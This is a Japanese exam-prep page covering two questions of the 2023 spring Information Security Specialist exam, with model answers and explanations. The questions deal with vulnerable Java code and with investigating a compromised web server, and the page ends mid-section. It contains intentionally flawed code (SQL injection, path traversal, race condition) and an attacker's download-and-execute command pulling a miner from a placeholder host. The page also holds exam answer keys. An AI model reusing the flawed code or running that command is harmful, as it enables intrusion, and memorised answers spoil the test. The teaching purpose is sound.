‹ ぱすてく

情報処理安全確保支援士試験

令和5年度 春期 午後Ⅰ(旧試験)

令和5年度 春期に実施された情報処理安全確保支援士試験 午後Ⅰの全3問(記述式)の全設問に,運営者が独自に書いた解説を付けています。事例本文のどこが根拠になるかを示し,IPA の解答例・採点講評と並べています。

この試験について:情報処理安全確保支援士試験について

この年度を解いてみる

問1 Webアプリケーションプログラム開発

Web アプリケーションプログラム開発に関する次の記述を読んで,設問に答えよ。

G 社は,システム開発を行う従業員 100 名の SI 企業である。このたび,オフィス用品を販売する従業員 200 名の Y 社から,システム開発を受託した。開発プロジェクトのリーダーには,G 社の開発課の D 主任が任命され,メンバーには,開発課から,E さんと新人の F さんが任命された。G 社では,セキュリティの品質を担保するために,プログラミング完了後にツールによるソースコードの静的解析を実施することにしている。

〔受託したシステムの概要〕

受託したシステムには,Y 社の得意先がオフィス用品を注文する機能,Y 社と Y 社の得意先が注文履歴を表示させる機能,Y 社と Y 社の得意先が注文番号を基に注文情報を照会する機能(以下,注文情報照会機能という),Y 社と Y 社の得意先が納品書の PDF ファイルをダウンロードする機能などがある。

〔ツールによるソースコードの静的解析〕

プログラミングが完了し,ツールによるソースコードの静的解析を実施したところ,F さんが作成した納品書 PDF ダウンロードクラスのソースコードに問題があることが分かった。納品書 PDF ダウンロードクラスのソースコードを図1に,静的解析の結果を表1に示す。

Java のソースコード(行番号付き)。(省略)//package 宣言,import 宣言など。1: public class DeliverySlipBL {。2:   private static final String PDF_DIRECTORY = "/var/pdf"; //PDF ディレクトリ定義。(省略)//変数宣言など。3:   public DeliverySlipBean getDeliverySlipPDF(String inOrderNo, Connection conn) {。(省略)//変数宣言など。4:     DeliverySlipBean deliverySlipBean = new DeliverySlipBean();。5:     try {。/* 検索用 SQL 文作成 */。6:       String sql = "SELECT ";。7:       sql = sql + (省略); //抽出項目,テーブル名など。(次ページの続きへ)
図1 納品書 PDF ダウンロードクラスのソースコード
図1の続き。8:       sql = sql + " WHERE head.order_no = '" + inOrderNo + "' ";。9:       sql = sql + (省略); //抽出条件の続き。10:       Statement stmt = conn.createStatement();。11:       ResultSet resultObj = stmt.executeQuery(sql);。(省略)//注文情報の存在チェック(存在しないときは null を返してメソッドを終了)。12:       String clientCode = resultObj.getString("client_code"); //得意先コード取得。13:       File fileObj = new File(PDF_DIRECTORY + "/" + clientCode + "/" + "DeliverySlip" + inOrderNo + ".pdf");。(省略)//PDF ファイルが既に存在しているかの確認など。14:       BufferedInputStream in = new BufferedInputStream(new FileInputStream(fileObj));。15:       byte[] buf = new byte[in.available()];。16:       in.read(buf);。17:       deliverySlipBean.setFileByte(buf);。18:     } catch (Exception e) {。(省略)//エラー処理(ログ出力など)。19:     }。20:     return deliverySlipBean;。21:   }。(省略)
図1 納品書 PDF ダウンロードクラスのソースコード(続き)
項番,脆弱性,指摘箇所,指摘内容の4列の表。項番1:脆弱性 SQL インジェクション,指摘箇所(省略),指摘内容(省略)。項番2:脆弱性 ディレクトリトラバーサル,指摘箇所 [ a ] 行目,指摘内容 ファイルアクセスに用いるパス名の文字列作成で,利用者が入力したデータを直接使用している。項番3:脆弱性 確保したリソースの解放漏れ,指摘箇所(省略),指摘内容 変数 stmt,変数 resultObj,変数 [ b ] が指すリソースが解放されない。
表1 静的解析の結果

この解析結果を受けて,F さんは,E さんの指導の下,ソースコードを修正した。表1の項番1について図1の8行目から11行目を図2に示すソースコードに修正した。項番2と項番3についてもソースコードを修正した。

Java のソースコード。1行目: sql = sql + " [ c ] ";。2行目: sql = sql + (省略); //抽出条件の続き。3行目: [ d ] ;。4行目: stmt.setString(1, inOrderNo);。5行目: ResultSet resultObj = stmt.executeQuery();。
図2 納品書 PDF ダウンロードクラスの修正後のソースコード

再度,ツールによるソースコードの静的解析が実施され,表1の指摘は解消していることが確認された。

〔システムテスト〕

システムテストを開始したところ,注文情報照会機能において不具合が見つかった。この不具合は,ある得意先の利用者 ID でログインして画面から注文番号を入力すると,別の得意先の注文情報が出力されるというものであった。なお,ログイン処理時に,ログインした利用者 ID と,利用者 ID にひも付く得意先コード及び得意先名はセッションオブジェクトに保存されている。

注文情報照会機能には,業務処理を実行するクラス(以下,ビジネスロジッククラスという)及びリクエスト処理を実行するクラス(以下,サーブレットクラスという)が使用されている。注文情報照会機能が参照するデータベースの E-R 図を図3に,E さんが作成したビジネスロジッククラスのソースコードを図4に,サーブレットクラスのソースコードを図5に示す。

4つのエンティティを左から並べた E-R 図。利用者マスター(利用者 ID(主キー),利用者名,得意先コード(外部キー),パスワードソルト,パスワードハッシュ,…),得意先マスター(得意先コード(主キー),得意先名,郵便番号,住所,電話番号,…),注文ヘッダーテーブル(注文番号(主キー),注文日時,得意先コード(外部キー),注文総額,消費税額,…),注文明細テーブル(注文番号(主キー),注文明細番号(主キー),商品コード(外部キー),数量,…)。矢印は 1 対多を表し,得意先マスターから利用者マスターへ,得意先マスターから注文ヘッダーテーブルへ,注文ヘッダーテーブルから注文明細テーブルへ向かう(得意先マスターと注文ヘッダーテーブルは得意先コードで,注文ヘッダーテーブルと注文明細テーブルは注文番号で関連付く)。凡例:矢印は 1 対多を示す。注記1 属性名の実線の下線は主キーを,破線の下線は外部キーを示す。主キーの実線が付いている属性名には,外部キーの破線を付けていない。注記2 主キー及び外部キーは,全て表記している。
図3 注文情報照会機能が参照するデータベースの E-R 図
Java のソースコード(行番号付き)。(省略)//package 宣言,import 宣言など。1: public class OrderInfoBL {。2:   private static String orderNo; //注文番号。/* 注文番号の設定メソッド */。3:   public static void setOrderNo(String inOrderNo) {。4:     orderNo = inOrderNo;。5:   }。/* 注文情報の取得メソッド */。6:   public static OrderInfoBean getOrderInfoBean() {。7:     PreparedStatement psObj;。(省略)//try 文,変数定義など。8:     String sql = "SELECT ";。9:     sql = sql + (省略); //SQL 文構築。10:     sql = sql + " WHERE head.order_no = ?"; //抽出条件:注文ヘッダーテーブルの注文番号と画面から入力された注文番号との完全一致。(省略)//PreparedStatement の作成。11:     psObj.setString(1, orderNo); //検索キーに注文番号をセット。12:     ResultSet resultObj = psObj.executeQuery();。(省略)//例外処理やその他の処理
図4 ビジネスロジッククラスのソースコード
Java のソースコード(行番号付き)。(省略)//package 宣言,import 宣言など。1: public class OrderInfoServlet extends HttpServlet {。(省略)//変数定義。2:   public void doPost(HttpServletRequest reqObj, HttpServletResponse resObj) throws IOException, ServletException {。3:     String orderNo; //注文番号。(省略)//try 文,リクエストから注文番号を取得。4:     OrderInfoBL.setOrderNo(orderNo);。5:     OrderInfoBean orderInfoBeanObj = OrderInfoBL.getOrderInfoBean();。(省略)//例外処理やその他の処理
図5 サーブレットクラスのソースコード

D 主任,E さん,F さんは,不具合の原因が特定できず,セキュアプログラミングに詳しい技術課の H さんに協力を要請した。

H さんはアプリケーションログ及びソースコードを解析し,不具合の原因を特定した。

原因は,図4で変数 e が f として宣言されていることである。この不具合は,①並列動作する複数の処理が同一のリソースに同時にアクセスしたとき,想定外の処理結果が生じるものである。

原因を特定することができたので,E さんは,H さんの支援の下,次の 4 点を行った。

Java のソースコード1行。public OrderInfoBean getOrderInfoBean( [ g ] ) {
図6 ビジネスロジッククラスの修正後のソースコード
Java のソースコード2行。1行目: OrderInfoBL orderInfoBLObj = [ h ] OrderInfoBL();。2行目: OrderInfoBean orderInfoBeanObj = orderInfoBLObj.[ i ] ;
図7 サーブレットクラスの修正後のソースコード

ソースコードの修正後,改めてシステムテストを実施した。システムテストの結果は良好であり,システムがリリースされた。

出題趣旨(IPA)

Javaで実装されたWebアプリケーションプログラムに対して,ツールによるソースコードの静的解析やセキュリティ観点からのシステムテストの実施はセキュリティの不備を発見するのに有効である。本問では,Webアプリケーションプログラム開発を題材として,静的解析やシステムテストで発見されたセキュリティ上の不具合への対処を踏まえたセキュアプログラミングに関する能力を問う。

採点講評(問全体・IPA)

問1では,Webアプリケーションプログラム開発を題材に,セキュアプログラミングについて出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1) 解答欄1つ

表1中の a に入れる適切な行番号を,図1中から選び,答えよ。

〔a〕解答例

  • 13
解説

本文の根拠

表1 項番2

ファイルアクセスに用いるパス名の文字列作成で,利用者が入力したデータを直接使用している。

図1(続き) 13行目

File fileObj = new File(PDF_DIRECTORY

ディレクトリトラバーサルは,利用者が入力した文字列をそのままファイルのパス名に組み込むことで,意図していないディレクトリのファイルにアクセスされてしまう脆弱性である。表1の項番2の指摘内容は“ファイルアクセスに用いるパス名の文字列作成で,利用者が入力したデータを直接使用している”であり,図1の中でこれに当たる行を探せばよい。

図1の8行目も利用者の入力(inOrderNo)を使っているが,これは SQL 文の組立てであり,項番1の SQL インジェクションの指摘箇所である。パス名を作っているのは13行目の new File(...) で,PDF_DIRECTORY に得意先コードと,利用者が入力した注文番号 inOrderNo を連結している。したがって a は13である。

行番号だけを答える設問なので,8行目(SQL 文)と13行目(パス名)を取り違えないことが要点になる。

設問1(2) 解答欄1つ

表1中の b に入れる適切な変数名を,図1中から選び,答えよ。

〔b〕解答例

  • in
解説

本文の根拠

表1 項番3

変数 stmt,変数 resultObj,変数

図1(続き) 10行目

Statement stmt = conn.createStatement();

図1(続き) 14行目

BufferedInputStream in = new BufferedInputStream(new FileInputStream(fileObj));

図1(続き) 18〜19行目

} catch (Exception e) {

確保したリソースは,使い終わったら解放(クローズ)する必要がある。表1の項番3は,変数 stmt,変数 resultObj のほかにもう一つ,解放されない変数があると指摘している。図1の中でリソースを確保している行を探すと,10行目の Statement(stmt),11行目の ResultSet(resultObj),14行目の BufferedInputStream(in)が見つかる。

stmt と resultObj は表1に既に挙がっているので,残る in が b である。図1の18〜19行目の catch 文にはエラー処理しかなく,どの変数についても close を呼ぶ処理や finally ブロックが見当たらない。なお,conn は引数として受け取った接続で,このメソッドが確保したものではなく,fileObj は File 型でファイルを開いた状態を保持するものではないので,対象にならない。

変数名を答える設問なので,大文字・小文字を含めて in と書く。

設問1(3) 解答欄2つ

図2中の c ,d に入れる適切な字句を答えよ。

〔c〕解答例

  • WHERE head.order_no = ?

〔d〕解答例

  • PreparedStatement stmt = conn.prepareStatement(sql)
解説

本文の根拠

〔ツールによるソースコードの静的解析〕

表1の項番1について図1の8行目から11行目を図2に示すソースコードに修正した。

図2

stmt.setString(1, inOrderNo);

図2

ResultSet resultObj = stmt.executeQuery();

項番1は SQL インジェクションで,図1の8行目は SQL 文の中に利用者が入力した inOrderNo を文字列として連結している。これを防ぐ基本的な方法は,SQL 文の中の値の部分をプレースホルダ(?)にしておき,値は後からバインドする静的プレースホルダ(PreparedStatement)を使うことである。

そこで図2では,c に WHERE head.order_no = ? (8行目の連結をプレースホルダに置き換えたもの),d に PreparedStatement stmt = conn.prepareStatement(sql) を入れる。図2の続きにある stmt.setString(1, inOrderNo) が1番目の ? に値を設定する呼出しで,その次の executeQuery() に引数が無いのも,SQL 文を prepareStatement の時点で渡し終えているためである。PreparedStatement では,値は SQL の構文とは別に渡されるので,利用者の入力が SQL 文の構造を変えることはない。

誤りやすいのは d を Statement のままにすることである。Statement には setString がなく,値を連結するしかないので,対策にならない。c は,図4の10行目と同じ形(? の前後の空白も含めて)になる。

採点講評(IPA)

設問1(3)は,正答率が低かった。“PreparedStatement”とすべきところを“Statement”と解答した受験者が多かった。“PreparedStatement”を使う方法は,セキュアプログラミングの基本であり,理解してほしい。

設問2(1) 解答欄1つ

本文中の e に入れる適切な変数名を,図4中から選び,答えよ。

〔e〕解答例

  • orderNo
解説

本文の根拠

図4 2行目

private static String orderNo; //注文番号

図5 3行目

String orderNo; //注文番号

〔システムテスト〕

ある得意先の利用者 ID でログインして画面から注文番号を入力すると,別の得意先の注文情報が出力される

不具合は,ある得意先の利用者が注文番号を入力すると,別の得意先の注文情報が出力されるというものである。図4と図5を見ると,図5のサーブレットは doPost の中の注文番号(ローカル変数 orderNo)を OrderInfoBL.setOrderNo で設定し,続けて getOrderInfoBean を呼んでいる。この間,図4では注文番号を2行目の変数 orderNo に保存し,11行目で読み出している。

図4の2行目の orderNo は static(クラス変数)で,同じクラスのすべてのインスタンスと,すべての要求を処理するスレッドから共有される。サーブレットは1つのインスタンスが複数のリクエストを並行して処理するので,ある利用者がセットした注文番号が,読み出す前に別の利用者の要求で書き換えられることがある。図5の3行目の orderNo は doPost の中で宣言されたローカル変数なのでスレッドごとに別々になり,問題を起こさない。したがって e は orderNo である。

図4にある変数は orderNo のほか,inOrderNo(引数)・psObj・sql・resultObj(ローカル)もあるが,クラスに static で宣言されているのは orderNo だけである。

設問2(2) 10字以内 解答欄1つ

本文中の f に入れる適切な字句を,英字 10 字以内で答えよ。

〔f〕解答例

  • static
解説

本文の根拠

図4 2行目

private static String orderNo; //注文番号

図4の2行目は private static String orderNo; で,修飾子の private は外部から直接参照できないことを,static はクラスに1つだけ存在する変数(クラス変数)であることを表す。f には,e の変数 orderNo がどのように宣言されているかを答える。

問題の原因は private ではなく static で,インスタンスごとに別の値をもつインスタンス変数やローカル変数とは違い,static 変数はすべての要求の処理から共有される。英字10字以内という指定は,“static”(6字)を答えさせるためのものである。

“static 変数”のように日本語を足すと英字10字以内を満たさないので,static だけを書く。private を答えると,原因の説明(共有される)にならない。

設問2(3) 15字以内

本文中の下線①の不具合は何と呼ばれるか。15 字以内で答えよ。

解答例

  • レースコンディション
解説

本文の根拠

〔システムテスト〕

並列動作する複数の処理が同一のリソースに同時にアクセスしたとき,想定外の処理結果が生じる

下線①は,“並列動作する複数の処理が同一のリソースに同時にアクセスしたとき,想定外の処理結果が生じる”不具合である。ここでのリソースが static 変数 orderNo で,処理の順序やタイミングによって結果が変わってしまうことから,レースコンディション(競合状態)と呼ばれる。

今回は,ある利用者の要求が orderNo に値をセットしてから SQL の検索に使うまでの間に,別の利用者の要求が値を書き換えると,前者が別の得意先の注文情報を受け取る。タイミング次第で起きるため,システムテストの条件によっては発現せず,再現しにくい。

15字以内なので“レースコンディション”(10字)で足りる。“競合状態”でも同じ意味だが,解答例は“レースコンディション”であり,“排他制御”のように対策の名前を答えないように注意する。

採点講評(IPA)

設問2(3)は,正答率が低かった。“レースコンディション”は個人情報漏えいなどにつながる可能性があるので,設計,実装,テストでの対策を確認しておいてほしい。

設問2(4) 解答欄3つ

図6中の g ,図7中の h ,i に入れる適切な字句を答えよ。

〔g〕解答例

  • String orderNo

〔h〕解答例

  • new

〔i〕解答例

  • getOrderInfoBean(orderNo)
解説

本文の根拠

〔システムテスト〕

(1) 図4の2行目から5行目までのソースコードを削除する。

図6

public OrderInfoBean getOrderInfoBean(

図7

OrderInfoBL orderInfoBLObj =

対策は,共有される変数をなくし,要求ごとに独立した値を使うようにすることである。(1)で図4の2〜5行目(static 変数 orderNo とその設定メソッド)を削除するので,注文番号はメソッドの引数として受け取る必要がある。そこで図6の g は,引数として注文番号を渡す String orderNo となる。

図6では public static の static も外れており,メソッドはインスタンスのメソッドになる。図7はそれに合わせて,サーブレットが OrderInfoBL のインスタンスを new で生成し(h は new),そのインスタンスの getOrderInfoBean に,図5の3行目のローカル変数 orderNo を渡して呼び出す(i は getOrderInfoBean(orderNo))。要求ごとに別のインスタンスとローカル変数ができるので,他の利用者の値が混ざらない。

h は new だけでよく,i は引数付きの呼出しを書く。getOrderInfoBean() のように引数を省くと,図6の g の宣言と合わない。

設問2(5) 解答欄1つ

本文中の j に入れる適切な属性名を,図3中から選び,答えよ。

〔j〕解答例

  • 得意先コード
解説

本文の根拠

〔システムテスト〕

ログイン処理時に,ログインした利用者 ID と,利用者 ID にひも付く得意先コード及び得意先名はセッションオブジェクトに保存されている。

図3 注文ヘッダーテーブル

注文ヘッダーテーブル(注文番号(主キー),注文日時,得意先コード(外部キー),注文総額,消費税額,…)

保険的な対策は,ログインした利用者の得意先の注文情報だけを返すように,抽出条件を足すことである。セッションオブジェクトには,利用者 ID のほか,利用者 ID にひも付く得意先コードと得意先名が保存されている。一方,図3の注文ヘッダーテーブルの属性を見ると,得意先コード(外部キー)はあるが,利用者 ID や得意先名はない。

したがって,セッションオブジェクトに保存された得意先コードと,注文ヘッダーテーブルの得意先コードを完全一致させる条件を AND で加えれば,別の得意先の注文は抽出されない。j はどちらの欄も属性名で,得意先コードが入る。

注文番号は既に図4の10行目の抽出条件に入っているので,追加する条件にはならない(採点講評にも,注文番号と答えた受験者がいたとある)。利用者 ID や得意先名は,注文ヘッダーテーブルに無いため,図3から選べる属性名にならない。

採点講評(IPA)

設問2(5)は,正答率がやや高かったが,“注文番号”と解答した受験者が見受けられた。注文番号は既に抽出条件に入っているので,E-R図とJavaソースコードから,保険的対策として適切な抽出条件を導き出す方法を理解してほしい。

出典:令和5年度 春期 情報処理安全確保支援士試験 午後Ⅰ 問1(表記を一部改変)

問2 セキュリティインシデント

セキュリティインシデントに関する次の記述を読んで,設問に答えよ。

R 社は,精密機器の部品を製造する従業員 250 名の中堅の製造業者である。本社に隣接した場所に工場がある。R 社のネットワーク構成を図1に示す。

インターネットが本社の FW に接続している。凡例:DB:データベース,FW:ファイアウォール,L2SW:レイヤー 2 スイッチ,L3SW:レイヤー 3 スイッチ,メール:電子メール。本社の枠の中に DMZ(192.168.0.0/24,破線の枠)と利用者 LAN(192.168.2.0/24,破線の枠)がある。DMZ には L2SW があり,受付サーバ,DB サーバ,メールサーバが接続している(受付サーバと DB サーバとメールサーバはいずれも DMZ の L2SW に接続)。DMZ の L2SW は FW に接続している。FW は L3SW にも接続している。L3SW は利用者 LAN の L2SW と,工場の工場 LAN(192.168.1.0/24,破線の枠)の L2SW にそれぞれ接続している。利用者 LAN の L2SW には PC(複数),ファイルサーバ,ログ管理サーバが接続している。工場 LAN の L2SW には PC(複数)と製造管理サーバが接続している。注記 各サーバは,Linux OS で稼働している。IP アドレスは,受付サーバが 192.168.0.1,DB サーバが 192.168.0.2,メールサーバが 192.168.0.3,製造管理サーバが 192.168.1.145 である。
図1 R 社のネットワーク構成

サーバ,FW,L2SW,L3SW 及び PC は,情報システム課の U 課長,M さん,N さんが管理しており,ログがログ管理サーバで収集され,一元管理されている。

DMZ 上のサーバのログは常時監視され,いずれかのサーバで 1 分間に 10 回以上のログイン失敗が発生した場合に,アラートがメールで通知される。

FW は,ステートフルパケットインスペクション型であり,通信の許可,拒否についてのログを記録する設定にしている。FW では,インターネットから受付サーバへの通信は 443/TCP だけを許可しており,受付サーバからインターネットへの通信は OS アップデートのために 443/TCP だけを許可している。インターネットから受付サーバ及びメールサーバへのアクセスでは,FW の NAT 機能によってグローバル IP アドレスをプライベート IP アドレスに 1 対 1 で変換している。

受付サーバでは,取引先からの受注情報を DB サーバに保管する Web アプリケーションプログラム(以下,アプリケーションプログラムをアプリという)が稼働している。DB サーバでは,受注情報をファイルに変換して FTP で製造管理サーバに送信する情報配信アプリが常時稼働している。これらのアプリは 10 年以上の稼働実績がある。

〔DMZ 上のサーバでの不審なログイン試行の検知〕

ある日,M さんは,アラートを受信した。M さんが確認したところ,アラートは受付サーバから DB サーバとメールサーバに対する SSH でのログイン失敗によるものであった。また,受付サーバから DB サーバとメールサーバに対して SSH でのログイン成功の記録はなかった。M さんは,不審に思い,U 課長に相談して,不正アクセスを受けていないかどうか,FW のログと受付サーバを調査することにした。

〔FW のログの調査〕

ログイン失敗が発生した時間帯の FW のログを表1に示す。

項番,日時,送信元アドレス,宛先アドレス,送信元ポート,宛先ポート,動作の7列の表。1-1,04/21 15:00,a0.b0.c0.d0(注 1),192.168.0.1,34671/TCP,443/TCP,許可。1-2,04/21 15:00,a0.b0.c0.d0,192.168.0.1,34672/TCP,443/TCP,許可。1-3,04/21 15:03,a0.b0.c0.d0,192.168.0.1,34673/TCP,8080/TCP,拒否。1-4,04/21 15:08,192.168.0.1,a0.b0.c0.d0,54543/TCP,443/TCP,許可。(中略)1-232,04/21 15:15,192.168.0.1,192.168.1.122,34215/UDP,161/UDP,拒否。1-233,04/21 15:15,192.168.0.2,192.168.1.145,55432/TCP,21/TCP,許可。1-234,04/21 15:15,192.168.0.2,192.168.1.145,55433/TCP,60453/TCP,許可。(中略)1-286,04/21 15:20,192.168.0.1,192.168.1.145,54702/TCP,21/TCP,許可。1-287,04/21 15:20,192.168.0.1,192.168.1.145,54703/TCP,22/TCP,拒否。(中略)1-327,04/21 15:24,192.168.0.1,192.168.1.227,58065/TCP,21/TCP,拒否。1-328,04/21 15:24,192.168.0.1,192.168.1.227,58066/TCP,22/TCP,拒否。(以下省略)。注 1)a0.b0.c0.d0 はグローバル IP アドレスを表す。
表1 FW のログ

表1の FW のログを調査したところ,次のことが分かった。

以上のことから,外部の攻撃者の不正アクセスによって受付サーバが侵害されたが,攻撃者による DMZ と工場 LAN との間のファイルの送受信はないと推測した。M さんは,受付サーバの調査に着手し,N さんに工場 LAN 全体の侵害有無の調査を依頼した。

〔受付サーバのプロセスとネットワーク接続の調査〕

M さんは,受付サーバでプロセスとネットワーク接続を調査した。ps コマンドの実行結果を表2に,netstat コマンドの実行結果を表3に示す。

項番,利用者 ID,PID(注 1),PPID(注 2),開始日時,コマンドラインの6列の表。2-1,root,2365,3403,04/01 10:10,/usr/sbin/sshd -D。2-2,app(注 3),7438,3542,04/01 10:11,/usr/java/jre/bin/java -Xms2g(省略)。2-3,app,1275,7438,04/21 15:01,./srv -c -mode bind 0.0.0.0:8080 2>&1。2-4,app,1293,7438,04/21 15:08,./srv -c -mode connect a0.b0.c0.d0:443 2>&1。2-5,app,1365,1293,04/21 15:14,./srv -s -range 192.168.0.1-192.168.255.254。注 1)プロセス ID である。注 2)親プロセス ID である。注 3)Web アプリ稼働用の利用者 ID である。
表2 ps コマンドの実行結果(抜粋)
項番,プロトコル,ローカルアドレス,外部アドレス,状態,PID の6列の表。3-1,TCP,0.0.0.0:22,0.0.0.0:*,LISTEN,2365。3-2,TCP,0.0.0.0:443,0.0.0.0:*,LISTEN,7438。3-3,TCP,0.0.0.0:8080,0.0.0.0:*,LISTEN,1275。3-4,TCP,192.168.0.1:54543,a0.b0.c0.d0:443,ESTABLISHED,1293。3-5,TCP,192.168.0.1:64651,192.168.253.124:21,SYN_SENT,1365。
表3 netstat コマンドの実行結果(抜粋)

srv という名称の不審なプロセスが稼働していた。M さんが srv ファイルのハッシュ値を調べたところ,インターネット上で公開されている攻撃ツールであり,次に示す特徴をもつことが分かった。

M さんは,表1〜表3から,次のように考えた。

M さんは,受付サーバが不正アクセスを受けていると U 課長に報告した。U 課長は,関連部署に伝え,M さんに受付サーバをネットワークから切断するよう指示した。

〔受付サーバの設定変更の調査〕

M さんは,攻撃者が受付サーバで何か設定変更していないかを調査した。確認したところ,③機器の起動時に DNS リクエストを発行して,ドメイン名△△△.com の DNS サーバから TXT レコードのリソースデータを取得し,リソースデータの内容をそのままコマンドとして実行する cron エントリーが仕掛けられていた。M さんが調査のために dig コマンドを実行すると,図2に示すようなリソースデータが取得された。

リソースデータ(2行)。wget https://a0.b0.c0.d0/logd -q -O /dev/shm/logd && chmod +x /dev/shm/logd && nohup /dev/shm/logd & disown
図2 △△△.com の DNS サーバから取得されたリソースデータ

M さんが受付サーバを更に調査したところ,logd という名称の不審なプロセスが稼働していた。M さんは,logd のファイルについてハッシュ値を調べたが,情報が見つからなかったので,マルウェア対策ソフトベンダーに解析を依頼する必要があると U 課長に伝えた。Web ブラウザで図2の URL から logd のファイルをダウンロードし,ファイルの解析をマルウェア対策ソフトベンダーに依頼することを考えていたが,U 課長から,④ダウンロードしたファイルは解析対象として適切ではないとの指摘を受けた。この指摘を踏まえて,M さんは,調査対象とする logd のファイルを f から取得して,マルウェア対策ソフトベンダーに解析を依頼した。解析の結果,暗号資産マイニングの実行プログラムであることが分かった。

調査を進めた結果,工場 LAN への侵害はなかった。Web アプリのログ調査から,受付サーバの Web アプリが使用しているライブラリに脆弱性が存在することが分かり,これが悪用されたと結論付けた。システムの復旧に向けた計画を策定し,過去に開発されたアプリ及びネットワーク構成をセキュリティの観点で見直すことにした。

出題趣旨(IPA)

Webアプリケーションプログラムのライブラリの脆弱性に起因する不正アクセスが依然として多い。本問では,ライブラリの脆弱性に起因するセキュリティインシデントを題材として,不正アクセスの調査を行う上で必要となるログを分析する能力や攻撃の痕跡を調査する能力を問う。

採点講評(問全体・IPA)

問2では,セキュリティインシデントを題材に,ログ及び攻撃の痕跡の調査について出題した。全体として正答率は平均的であった。

設問と解答例

設問1 解答欄1つ

本文中の a に入れる適切な字句を答えよ。

〔a〕解答例

  • パッシブ
解説

本文の根拠

〔FW のログの調査〕

DB サーバから製造管理サーバに対して FTP 接続が行われ,DB サーバから製造管理サーバに FTP の

表1 項番1-233

1-233,04/21 15:15,192.168.0.2,192.168.1.145,55432/TCP,21/TCP,許可。

表1 項番1-234

1-234,04/21 15:15,192.168.0.2,192.168.1.145,55433/TCP,60453/TCP,許可。

FTP は,制御用の接続(21/TCP)とは別に,ファイル転送用のデータコネクションを張る。アクティブモードでは,サーバがクライアントに向けてデータコネクションを張る(RFC 959 の既定の動作で,サーバ側のポートは 20/TCP)。パッシブモードでは,クライアントがサーバの指定したポートに向けて,制御用とは別の接続を張る。

表1を見ると,1-233 が DB サーバ(192.168.0.2)から製造管理サーバ(192.168.1.145)の 21/TCP への制御用接続である。続く 1-234 も送信元が DB サーバ,宛先が製造管理サーバで,宛先ポートが 60453/TCP という,サーバが指定した高い番号のポートになっている。データコネクションもクライアントである DB サーバ側から張られているので,a はパッシブである。アクティブモードなら,製造管理サーバから DB サーバへの接続(送信元 20/TCP)が記録されるはずである。

誤りやすいのは,宛先ポートが 21 番以外であることをアクティブと取り違える点である。接続を張る向きで見分ける。

採点講評(IPA)

設問1は,正答率が低かった。FTP通信の動作を理解し,“アクティブモード”,“パッシブモード”のデータコネクションがそれぞれFWのログにどのように記録されるかについて理解してほしい。

設問2(1) 10字以内 解答欄1つ

本文中の b に入れる適切な字句を,10 字以内で答えよ。

〔b〕解答例

  • コミュニティ
解説

本文の根拠

〔受付サーバのプロセスとネットワーク接続の調査〕

SNMPv2c で public という

SNMPv2c は,コミュニティ名(コミュニティストリング)という文字列を,パスワードに相当するものとして使い,機器の情報を取得する方式である(RFC 1901)。read 用に初期設定で public が使われることが多く,攻撃ツールはこの既定値を試して機器のバージョン情報を集める。

本文では“SNMPv2c で public という b 名を使って,機器のバージョン情報を取得し”と書かれているので,b はコミュニティである。SNMPv3 の利用者名や認証パスワードとは別の,SNMPv2c の用語である。

10字以内の指定なので“コミュニティ”(6字)と書く。“コミュニティストリング”は10字を超えるので,“名”の前に入れる語としてもコミュニティだけにする。

設問2(2) 解答欄2つ

本文中の c に入れる適切な字句を,“バインド”又は“コネクト”から選び答えよ。また,下線①について,M さんがそのように判断した理由を,表1中〜表3中の項番を各表から一つずつ示した上で,40 字以内で答えよ。

〔c〕解答例

  • バインド

〔下線①〕解答例

  • 2-3によって起動した3-3のポートへの通信が1-3で拒否されているから
解説

本文の根拠

表2 項番2-3

2-3,app,1275,7438,04/21 15:01,./srv -c -mode bind 0.0.0.0:8080 2>&1。

表3 項番3-3

3-3,TCP,0.0.0.0:8080,0.0.0.0:*,LISTEN,1275。

表1 項番1-3

1-3,04/21 15:03,a0.b0.c0.d0,192.168.0.1,34673/TCP,8080/TCP,拒否。

本文冒頭(FW の設定)

インターネットから受付サーバへの通信は 443/TCP だけを許可しており

c には,バインドモードとコネクトモードのどちらで一度接続を試み,失敗したかを入れる。バインドモードは外部からの接続を待ち受けるモードで,コネクトモードは外部へ自ら接続するモードである。表2の 2-3 は 15:01 に -mode bind 0.0.0.0:8080 で起動したプロセス(PID 1275)で,表3の 3-3 でそのプロセスが 8080/TCP を LISTEN している。

この 8080/TCP に対して,15:03 にインターネット上の a0.b0.c0.d0 から受付サーバ(192.168.0.1)への通信が行われたが,表1の 1-3 で拒否されている。FW はインターネットから受付サーバへの通信を 443/TCP だけ許可しているので,8080/TCP は届かない。つまりバインドモードでの接続は失敗した。

理由は表1〜表3の項番を各表から一つずつ(2-3,3-3,1-3)示して,40字以内にまとめる。解答例は“2-3によって起動した3-3のポートへの通信が1-3で拒否されているから”の形で,起動したプロセス,待ち受けているポート,拒否されたログの三つを結ぶ。

設問2(3) 解答欄2つ

本文中の d に入れる適切な字句を,“バインド”又は“コネクト”から選び答えよ。また,下線②について,M さんがそのように判断した理由を,表1中〜表3中の項番を各表から一つずつ示した上で,40 字以内で答えよ。

〔d〕解答例

  • コネクト

〔下線②〕解答例

  • 2-4によって開始された3-4の通信が1-4で許可されているから
解説

本文の根拠

表2 項番2-4

2-4,app,1293,7438,04/21 15:08,./srv -c -mode connect a0.b0.c0.d0:443 2>&1。

表3 項番3-4

3-4,TCP,192.168.0.1:54543,a0.b0.c0.d0:443,ESTABLISHED,1293。

表1 項番1-4

1-4,04/21 15:08,192.168.0.1,a0.b0.c0.d0,54543/TCP,443/TCP,許可。

本文冒頭(FW の設定)

受付サーバからインターネットへの通信は OS アップデートのために 443/TCP だけを許可している。

バインドモードが失敗した後,攻撃者は 15:08 に,表2の 2-4 のように srv を -mode connect a0.b0.c0.d0:443 で起動している。コネクトモードは受付サーバから外部の C&C サーバへ接続するモードで,受付サーバから 443/TCP への通信は FW で許可されている。d はコネクトである。

表3の 3-4 では,同じ PID 1293 のプロセスが 192.168.0.1:54543 から a0.b0.c0.d0:443 への接続を ESTABLISHED(確立済み)にしている。表1の 1-4 にも,同じ時刻・同じポート番号(54543/TCP → 443/TCP)で許可された通信がある。ESTABLISHED であることが,接続に成功した根拠である(3-5 は SYN_SENT で,まだ確立していない)。

理由は項番を各表から一つずつ(2-4,3-4,1-4)示して40字以内で書く。起動したプロセスの 2-4 と,確立した接続の 3-4,許可された通信の 1-4 とのつながりを短くまとめる。

採点講評(IPA)

